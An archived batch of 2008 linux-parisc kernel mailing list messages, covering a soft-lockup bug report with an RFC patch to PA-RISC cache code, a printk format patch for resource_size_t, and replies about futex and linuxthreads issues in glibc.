Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L9pXa-0003t3-25
	for glpp-linux-parisc@gmane.org; Tue, 09 Dec 2008 00:29:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753272AbYLHX2L (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Dec 2008 18:28:11 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753261AbYLHX2L
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Dec 2008 18:28:11 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:33554 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753272AbYLHX2J (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Dec 2008 18:28:09 -0500
Original-Received: (qmail invoked by alias); 08 Dec 2008 23:28:06 -0000
Original-Received: from mnhm-590f65af.pool.einsundeins.de (EHLO halden.box) [89.15.101.175]
  by mail.gmx.net (mp018) with SMTP; 09 Dec 2008 00:28:06 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX198WV1cnT98dXv5RkAZ2xweH43qQVDrcccbmSR4Cx
	kPOa8XLjWv8S5O
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.39
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:926
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/926>

Instead of continuing the thread named "2.6.28-rcX in pretty bad shape
on parisc" I think it makes sense to start a new thread with this bug,
as I think that it different to the one which Dave and Carlos face.

While compiling some larger piece of code, I'm reproducible facing this
kernel lock-up.
-----------
BUG: soft lockup - CPU#0 stuck for 61s! [tool:3582]
Modules linked in: snd_ad1889 snd_ac97_codec snd_pcm_oss snd_pcm
snd_mixer_oss snd_seq_oss snd_seq_midi_event snd_seq snd_timer
snd_seq_device snd soundcore snd_page_alloc ac97_bus

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001111 Not tainted
r00-03  0004000f 105edf50 102a0428 00000000
r04-07  17c78000 105df000 00000000 00069cb9
r08-11  00000000 7c268b88 7eedf22c 104876ac
r12-15  10616ac0 106332c0 00000005 fb6f3a88
r16-19  7c2683c0 0000000a fb6f3e60 00000000
r20-23  ffffffff 00000000 12adac36 102f0794
r24-27  ffffffff 10542c50 105edfa0 105db2c0
r28-31  00000004 00000190 7c268e40 1011c7a0
sr00-03  00000000 00000000 00000000 00000283
sr04-07  00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 102a031c 102a0320
 IIR: 80969f45    ISR: 00000000  IOR: 1010fc5c
 CPU:        0   CR30: 7c268000 CR31: 11111111
 ORIG_R28: 00000000
 IAOQ[0]: __spin_lock_debug+0x9c/0x140
 IAOQ[1]: __spin_lock_debug+0xa0/0x140
 RP(r2): _raw_spin_lock+0x68/0xa8
Backtrace:
 [<102a0428>] _raw_spin_lock+0x68/0xa8
 [<1010eac4>] flush_kernel_dcache_page_addr+0x20/0x3c
 [<1010e864>] flush_dcache_page+0x80/0x204
 [<104878c8>] xdr_partial_copy_from_skb+0x108/0x21c
 [<10488ecc>] xs_tcp_data_recv+0x394/0x49c
 [<1044875c>] tcp_read_sock+0xe0/0x240
 [<10489038>] xs_tcp_data_ready+0x64/0xa4
 [<10451230>] tcp_rcv_established+0x394/0x534
 [<104585fc>] tcp_v4_do_rcv+0x108/0x110
 [<10458b18>] tcp_v4_rcv+0x514/0x620
 [<1043d010>] ip_local_deliver_finish+0xc8/0x1a4
 [<1043d288>] ip_rcv_finish+0x14c/0x2fc
 [<10420d40>] netif_receive_skb+0x174/0x280
 [<10420f60>] process_backlog+0x8c/0x118
 [<104211b4>] net_rx_action+0x18c/0x1b8
 [<1013a8a4>] __do_softirq+0x108/0x14c

Kernel panic - not syncing: softlockup: hung tasks
----

This is a 32bit 2.6.28-rcX (X=1-7) kernel on a c3000 (single-cpu), but I
saw the same problem already on 2.6.27 as well.
I've tried to narrow it down with strace, but then I couldn't reproduce
the lockups.

Looking at the backtrace my assumption is, that it deadlocks on the
pa_tlb_lock spinlock (defined in arch/parisc/kernel/cache.c).
But it's still unclear to me, how this spinlock is getting stuck forever.

Currently I'm playing with the attached patch. It's just an RFC since I
noticed, that the assembler function __clear_user_page_asm() does not
provide any exception fixups yet.
My thinking is, that maybe __clear_user_page_asm() crashes due to
invalid userspace access, and then the pa_tlb_lock spinlock just stays
locked.
I'm not sure if it is even correct behavior that __clear_user_page_asm()
might be called with invalid userspace regions, but due to the different
kmap_atomic() function implementation with pagefault_disable() and
pagefault_enable() calls (see further details below) I'm under the
impression, that we need to add exception fixups.
I'd be very interested to know, if you others think that my assumption
is correct?


kmap_atomic() and pagefault_[en|dis]able:
32bit and 64bit kernels differ in the implementation of the kmap_XX()
functions [see arch/parisc/include/asm/cacheflush.h vs.
include/linux/highmem.h], which are utilized by the above networking
functions.
The standard kmap_atomic() function (used in 32bit parisc kernels) in
include/linux/highmem.h calls pagefault_dis|enable(), while the 64bit
parisc implementation doesn't (although it adds cache flushing if
parisc_requires_coherency() evaluates to true on 64bit).



diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 5259d8c..5759b3e 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -396,14 +396,23 @@ EXPORT_SYMBOL(flush_kernel_dcache_page_asm);
 EXPORT_SYMBOL(flush_data_cache_local);
 EXPORT_SYMBOL(flush_kernel_icache_range_asm);

+/* Those functions are implemented in assembly in pacache.S */
+extern void purge_kernel_dcache_page(unsigned long);
+extern int __clear_user_page_asm(void *page, unsigned long vaddr);
+
 void clear_user_page_asm(void *page, unsigned long vaddr)
 {
-	/* This function is implemented in assembly in pacache.S */
-	extern void __clear_user_page_asm(void *page, unsigned long vaddr);
+	int error;

+	/* if (!preempt_count()) */
 	purge_tlb_start();
-	__clear_user_page_asm(page, vaddr);
+
+	error = __clear_user_page_asm(page, vaddr);
+
+	/* if (!preempt_count()) */
 	purge_tlb_end();
+
+	WARN_ON(error);
 }

 #define FLUSH_THRESHOLD 0x80000 /* 0.5MB */
@@ -439,9 +448,6 @@ void __init parisc_setup_cache_timing(void)
 	printk(KERN_INFO "Setting cache flush threshold to %x (%d CPUs
online)\n", parisc_cache_flush_threshold, num_online_cpus());
 }

-extern void purge_kernel_dcache_page(unsigned long);
-extern void clear_user_page_asm(void *page, unsigned long vaddr);
-
 void clear_user_page(void *page, unsigned long vaddr, struct page *pg)
 {
 	purge_kernel_dcache_page((unsigned long)page);
diff --git a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
index 09b77b2..f00e93a 100644
--- a/arch/parisc/kernel/pacache.S
+++ b/arch/parisc/kernel/pacache.S
@@ -26,6 +26,8 @@
  *       can be used.
  */

+#include <asm/errno.h>
+
 #ifdef CONFIG_64BIT
 	.level	2.0w
 #else
@@ -559,7 +561,7 @@ ENTRY(__clear_user_page_asm)
 	/* #define	PREFETCHW_OP	ldd		256(%0), %r0 */

 1:	std		%r0, 0(%r28)
-	std		%r0, 8(%r28)
+2:	std		%r0, 8(%r28)
 	std		%r0, 16(%r28)
 	std		%r0, 24(%r28)
 	std		%r0, 32(%r28)
@@ -580,9 +582,8 @@ ENTRY(__clear_user_page_asm)
 #else	/* ! CONFIG_64BIT */
 	ldi		(PAGE_SIZE / 64), %r1

-1:
-	stw		%r0, 0(%r28)
-	stw		%r0, 4(%r28)
+1:	stw		%r0, 0(%r28)
+2:	stw		%r0, 4(%r28)
 	stw		%r0, 8(%r28)
 	stw		%r0, 12(%r28)
 	stw		%r0, 16(%r28)
@@ -602,12 +603,25 @@ ENTRY(__clear_user_page_asm)
 #endif	/* CONFIG_64BIT */

 	bv		%r0(%r2)
-	nop
+	copy		%r0, %ret0	/* return no error */
 	.exit

From - Thu Nov 08 21:03:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Mon, 8 Dec 2008 19:01:28 -0500
Lines: 42
Approved: news@gmane.org
Message-ID: <119aab440812081601n1dd3521kcfc3a9a1cb5d4dfc@mail.gmail.com>
References: <119aab440812081414h2145521axb3bc426db9c776be@mail.gmail.com>
	 <20081208223933.ADCC14EF8@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1228780903 5505 80.91.229.12 (9 Dec 2008 00:01:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Dec 2008 00:01:43 +0000 (UTC)
Cc: deller@gmx.de, linux-parisc@vger.kernel.org,
	grundler@parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 09 01:02:46 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L9q3n-0004tr-91
	for glpp-linux-parisc@gmane.org; Tue, 09 Dec 2008 01:02:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753278AbYLIABa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Dec 2008 19:01:30 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753238AbYLIABa
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Dec 2008 19:01:30 -0500
Original-Received: from wf-out-1314.google.com ([209.85.200.169]:5496 "EHLO
	wf-out-1314.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753278AbYLIAB3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Dec 2008 19:01:29 -0500
Original-Received: by wf-out-1314.google.com with SMTP id 27so1517294wfd.4
        for <linux-parisc@vger.kernel.org>; Mon, 08 Dec 2008 16:01:28 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=0zvBzKpLshupHVO0Q6bHetKBlzhHXcE1XAPwkC9V0t8=;
        b=TE9CyfyHpVeq+E7aTOdtyMVLfL/xhxTlTVgOgmyfaeMc1PwkmKkTCQe7I7yxY/L4aR
         WkYlLxcHPFcr6FgLnNtpl7oTlpFYDz5EjFcsy7km1Erilgk+zdv9fBF3NlwFozSEd3NT
         CxpwmQDswP5hMR50EGMhUB9EIxGb0oVEWqGl4=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=lyxJhqvX1h+CWSgTCGA+n2G4RmcjjmvQrDoXMqHt0EpTY+gqEeblE+RxjwSyD6CbII
         OSNrry4CueUAUPCodUeYE1BRKHDLcaJ9JRqyYPHwOhvaUDxSg6bDTrFksvwr2K6tGDrd
         LkqtIVcaJMETrkdbd39ClWpu5vOz2fGSInTP8=
Original-Received: by 10.143.11.11 with SMTP id o11mr1772538wfi.193.1228780888270;
        Mon, 08 Dec 2008 16:01:28 -0800 (PST)
Original-Received: by 10.142.86.10 with HTTP; Mon, 8 Dec 2008 16:01:28 -0800 (PST)
In-Reply-To: <20081208223933.ADCC14EF8@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Google-Sender-Auth: 76b3f64d8fd2f2f7
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:927
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/927>

On Mon, Dec 8, 2008 at 5:39 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> Otherwise nothing in glibc should make futex calls.
>>
>> Broken futex calls shouldn't crash the kernel.
>
> The kernel doesn't crash since Helge's stack backtrace fix.  We are
> just getting a lot of segfaults in application code.

Excellent. That is certainly progress.

> I'm fairly certain libc6 in debian testing is still built with linuxthreads.
> I'm not sure libc is actually making futex calls, but one is compiled
> into _dl_fixup.  I suppose I could add a printk in the kernel to see
> if futex's are being used.

Yes, your assembly dump shows a futex syscall in _dl_fixup, and AFAIK
there should not be one there.

I used printk *very* effectively in the kernel/futex.c code to debug
futex issues with the NPTL bringup.

Remember that the futex is essentially the address of the userspace
object, so it's rather easy to trace.

> I'm currently building debian libc6.  In a quick attempt, I wasn't
> successful in building the glibc cvs source.  It pushes hard to get
> you to configure with nptl.  My build with linuxthreads failed with
> a type size problem.
>
> I'll try the testsuite with this build on my current kernel.  If that
> works, I'll flip to 2.6.28.

Thanks, please keep me posted.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: resource_size_t printk woes...
Date: Mon, 8 Dec 2008 22:44:31 -0500
Lines: 92
Approved: news@gmane.org
Message-ID: <20081209034431.GE30783@bombadil.infradead.org>
References: <20081208153413.GJ9092@bombadil.infradead.org> <20081208155754.DD5184E7A@hiauly1.hia.nrc.ca> <20081208160021.GA30783@bombadil.infradead.org> <20081208160051.GB30783@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1228794286 3093 80.91.229.12 (9 Dec 2008 03:44:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Dec 2008 03:44:46 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 09 04:45:49 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L9tXf-0007TT-8S
	for glpp-linux-parisc@gmane.org; Tue, 09 Dec 2008 04:45:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751374AbYLIDoe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Dec 2008 22:44:34 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751450AbYLIDoe
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Dec 2008 22:44:34 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:33695 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751374AbYLIDod (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Dec 2008 22:44:33 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1L9tWR-0002tU-If; Tue, 09 Dec 2008 03:44:31 +0000
Content-Disposition: inline
In-Reply-To: <20081208160051.GB30783@bombadil.infradead.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:928
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/928>

On Mon, Dec 08, 2008 at 11:00:51AM -0500, Kyle McMartin wrote:
>

Something like this was what I had in mind... seems to (x)compile,
haven't actually run-time tested it. Kills the warnings, at least. ;-)

Needs some more thinking before I might hit upstream with it.

diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
index dcc1e99..ccb7858 100644
--- a/drivers/parisc/ccio-dma.c
+++ b/drivers/parisc/ccio-dma.c
@@ -1551,7 +1551,7 @@ static int __init ccio_probe(struct parisc_device *dev)
 
 	ioc->name = dev->id.hversion == U2_IOA_RUNWAY ? "U2" : "UTurn";
 
-	printk(KERN_INFO "Found %s at 0x%lx\n", ioc->name, dev->hpa.start);
+	printk(KERN_INFO "Found %s at %pZ\n", ioc->name, &(dev->hpa.start));
 
 	for (i = 0; i < ioc_count; i++) {
 		ioc_p = &(*ioc_p)->next;
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index a28c894..0221545 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -1413,8 +1413,8 @@ lba_driver_probe(struct parisc_device *dev)
 		default: version = "TR4+";
 		}
 
-		printk(KERN_INFO "Elroy version %s (0x%x) found at 0x%lx\n",
-		       version, func_class & 0xf, (long)dev->hpa.start);
+		printk(KERN_INFO "Elroy version %s (0x%x) found at %pZ\n",
+		       version, func_class & 0xf, &(dev->hpa.start));
 
 		if (func_class < 2) {
 			printk(KERN_WARNING "Can't support LBA older than "
@@ -1442,14 +1442,14 @@ lba_driver_probe(struct parisc_device *dev)
 		/* We could use one printk for both Elroy and Mercury,
                  * but for the mask for func_class.
                  */ 
-		printk(KERN_INFO "%s version TR%d.%d (0x%x) found at 0x%lx\n",
+		printk(KERN_INFO "%s version TR%d.%d (0x%x) found at %pZ\n",
 		       IS_MERCURY(dev) ? "Mercury" : "Quicksilver", major,
-		       minor, func_class, (long)dev->hpa.start);
+		       minor, func_class, &(dev->hpa.start));
 
 		cfg_ops = &mercury_cfg_ops;
 	} else {
-		printk(KERN_ERR "Unknown LBA found at 0x%lx\n",
-			(long)dev->hpa.start);
+		printk(KERN_ERR "Unknown LBA found at %pZ\n",
+			&(dev->hpa.start));
 		return -ENODEV;
 	}
 
diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
index bc73b96..4ad4d52 100644
--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
@@ -1938,8 +1938,8 @@ sba_driver_callback(struct parisc_device *dev)
 			global_ioc_cnt *= 2;
 	}
 
-	printk(KERN_INFO "%s found %s at 0x%llx\n",
-		MODULE_NAME, version, (unsigned long long)dev->hpa.start);
+	printk(KERN_INFO "%s found %s at %pZ\n",
+		MODULE_NAME, version, &(dev->hpa.start));
 
 	sba_dev = kzalloc(sizeof(struct sba_device), GFP_KERNEL);
 	if (!sba_dev) {
diff --git a/lib/vsprintf.c b/lib/vsprintf.c
index a013bbc..342496f 100644
--- a/lib/vsprintf.c
+++ b/lib/vsprintf.c
@@ -607,6 +607,12 @@ static char *pointer(const char *fmt, char *buf, char *end, void *ptr, int field
 		return symbol_string(buf, end, ptr, field_width, precision, flags);
 	case 'R':
 		return resource_string(buf, end, ptr, field_width, precision, flags);
+	case 'Z':
+		{
+			resource_size_t rsz = *((resource_size_t *)ptr);
+			return number(buf, end, (unsigned long long)rsz, 16,
+				field_width, -1, SPECIAL | SMALL | ZEROPAD);
+		}
 	}
 	flags |= SMALL;
 	if (field_width == -1) {
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: remove gratuitous cpu_online_map declaration.
Date: Mon, 8 Dec 2008 22:54:07 -0500
Lines: 40
Approved: news@gmane.org
Message-ID: <20081209035407.GF30783@bombadil.infradead.org>
References: <200812041012.41496.rusty@rustcorp.com.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1228794865 4187 80.91.229.12 (9 Dec 2008 03:54:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Dec 2008 03:54:25 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	linux-kernel@vger.kernel.org,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	linux-parisc@vger.kernel.org
To: Rusty Russell <rusty@rustcorp.com.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 09 04:55:27 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L9th1-0001IG-1E
	for glpp-linux-parisc@gmane.org; Tue, 09 Dec 2008 04:55:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751301AbYLIDyN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Dec 2008 22:54:13 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751404AbYLIDyN
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Dec 2008 22:54:13 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:39837 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751301AbYLIDyM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Dec 2008 22:54:12 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1L9tfj-0005Uk-Ah; Tue, 09 Dec 2008 03:54:07 +0000
Content-Disposition: inline
In-Reply-To: <200812041012.41496.rusty@rustcorp.com.au>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:929 gmane.linux.kernel:766864
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/929>

On Thu, Dec 04, 2008 at 10:12:41AM +1030, Rusty Russell wrote:
> This is defined in linux/cpumask.h (included in this file already),
> and this will break when the definition changes (in a following patch).
> 
> Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>

Accepted, though it would have been nice if it had either hit all the
maintainers, or hit the list too...

cheers, Kyle

> ---
>  arch/parisc/include/asm/smp.h |    2 --
>  1 file changed, 2 deletions(-)
> 
> diff --git a/arch/parisc/include/asm/smp.h b/arch/parisc/include/asm/smp.h
> --- a/arch/parisc/include/asm/smp.h
> +++ b/arch/parisc/include/asm/smp.h
> @@ -15,8 +15,6 @@
>  #include <linux/threads.h>	/* for NR_CPUS */
>  #include <linux/cpumask.h>
>  typedef unsigned long address_t;
> -
> -extern cpumask_t cpu_online_map;
>  
>  
>  /*
> 
> 
> --
> To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> Please read the FAQ at  http://www.tux.org/lkml/
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Mon, 8 Dec 2008 23:14:21 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <20081209041421.GG30783@bombadil.infradead.org>
References: <119aab440811250533y1a09a396i318dfc057ad0d659@mail.gmail.com> <20081208045003.4CF644E99@hiauly1.hia.nrc.ca> <20081208075001.GB28779@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1228796092 6602 80.91.229.12 (9 Dec 2008 04:14:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Dec 2008 04:14:52 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Carlos O'Donell <carlos@systemhalted.org>, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 09 05:15:55 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L9u0o-0005EZ-5T
	for glpp-linux-parisc@gmane.org; Tue, 09 Dec 2008 05:15:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751454AbYLIEOZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Dec 2008 23:14:25 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751717AbYLIEOZ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Dec 2008 23:14:25 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:59177 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751454AbYLIEOY (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Dec 2008 23:14:24 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1L9tzJ-0004fH-4k; Tue, 09 Dec 2008 04:14:21 +0000
Content-Disposition: inline
In-Reply-To: <20081208075001.GB28779@colo.lackof.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:930
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/930>

On Mon, Dec 08, 2008 at 12:50:01AM -0700, Grant Grundler wrote:
> > So, the code is using the thread register (cr27).  Not sure what syscall
> > this is.  However, the problem might be TLS releated.
> 
> I have no idea if TLS makes a difference to kernel builds.
> 

I don't think Debian is using NPTL yet due to $issues previously
discussed...

linuxthreads being broken in newer glibc sounds unsuprisingly though.

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rusty Russell <rusty@rustcorp.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: remove gratuitous cpu_online_map declaration.
Date: Wed, 10 Dec 2008 08:36:19 +1030
Lines: 20
Approved: news@gmane.org
Message-ID: <200812100836.20148.rusty@rustcorp.com.au>
References: <200812041012.41496.rusty@rustcorp.com.au> <20081209035407.GF30783@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1228860436 13790 80.91.229.12 (9 Dec 2008 22:07:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Dec 2008 22:07:16 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@infradead.org>,
	Stephen Rothwell <sfr@canb.auug.org.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 09 23:08:19 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LAAk1-0003yD-2F
	for glpp-linux-parisc@gmane.org; Tue, 09 Dec 2008 23:07:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753185AbYLIWG1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 9 Dec 2008 17:06:27 -0500
